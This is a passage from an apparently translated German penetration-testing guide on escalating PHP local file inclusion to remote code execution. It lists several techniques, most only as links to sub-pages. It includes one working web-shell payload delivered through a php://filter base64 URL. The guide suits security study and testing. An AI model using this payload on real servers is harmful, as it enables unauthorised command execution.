  2. Nach der Injektion verwenden Sie die LFI, um die Serverprotokolle von /var/log/vsftpd.log abzurufen.

Über php base64 Filter (unter Verwendung von base64)

Wie in diesem Artikel gezeigt, ignoriert der PHP base64 Filter einfach Nicht-Base64. Sie können das verwenden, um die Dateierweiterungsprüfung zu umgehen: Wenn Sie base64 bereitstellen, das mit ".php" endet, ignoriert es einfach den "." und fügt "php" an das base64 an. Hier ist ein Beispiel-Payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Über php-Filter (keine Datei erforderlich)

Dieser Berichterklärt, dass Sie php-Filter verwenden können, um beliebigen Inhalt zu generieren als Ausgabe. Das bedeutet im Grunde genommen, dass Sie beliebigen php-Code generieren können, um ihn in das Include einzufügen, ohne ihn in eine Datei schreiben zu müssen.

{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}

Über Segmentation Fault

Laden Sie eine Datei hoch, die vorübergehend in /tmp gespeichert wird, lösen Sie dann im selben Request einen Segmentation Fault aus, und die vorübergehende Datei wird nicht gelöscht, sodass Sie danach suchen können.

{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}

Über Nginx-Temp-Dateispeicher

Wenn Sie eine Local File Inclusion gefunden haben und Nginx vor PHP läuft, könnten Sie RCE mit der folgenden Technik erhalten:

{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}

Über PHP_SESSION_UPLOAD_PROGRESS

Wenn Sie eine Local File Inclusion gefunden haben, selbst wenn Sie keine Sitzung haben und session.auto_start auf Off steht. Wenn Sie PHP_SESSION_UPLOAD_PROGRESS in multipart POST-Daten bereitstellen, wird PHP die Sitzung für Sie aktivieren. Sie könnten dies ausnutzen, um RCE zu erhalten:

{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}

Über temporäre Datei-Uploads in Windows

Wenn Sie eine Local File Inclusion gefunden haben und der Server unter Windows läuft, könnten Sie RCE erhalten:

{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}

Über phpinfo() (file_uploads = on)

Wenn Sie eine Local File Inclusion gefunden haben und eine Datei, die phpinfo() mit file_uploads = on freigibt, können Sie RCE erhalten:

{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}

Über compress.zlib + PHP_STREAM_PREFER_STUDIO + Pfadoffenlegung

Wenn Sie eine Local File Inclusion gefunden haben und den Pfad der temporären Datei exfiltrieren können, aber der Server überprüft, ob die einzuschließende Datei PHP-Markierungen hat, können Sie versuchen, diese Überprüfung mit dieser Race Condition zu umgehen:

{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}

Über ewiges Warten + Brute Force

Wenn Sie die LFI missbrauchen können, um vorübergehende Dateien hochzuladen und den Server dazu bringen, die PHP-Ausführung anzuhalten, könnten Sie dann Stunden damit verbringen, Dateinamen zu erraten, um die vorübergehende Datei zu finden:

{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}

Zu einem Fatal Error

Wenn Sie eine der Dateien /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar einbinden. (Sie müssen dieselbe Datei zweimal einbinden, um diesen Fehler auszulösen).

Ich weiß nicht, wie das nützlich ist, aber es könnte sein.
Selbst wenn Sie einen PHP Fatal Error verursachen, werden temporäre PHP-Dateien gelöscht.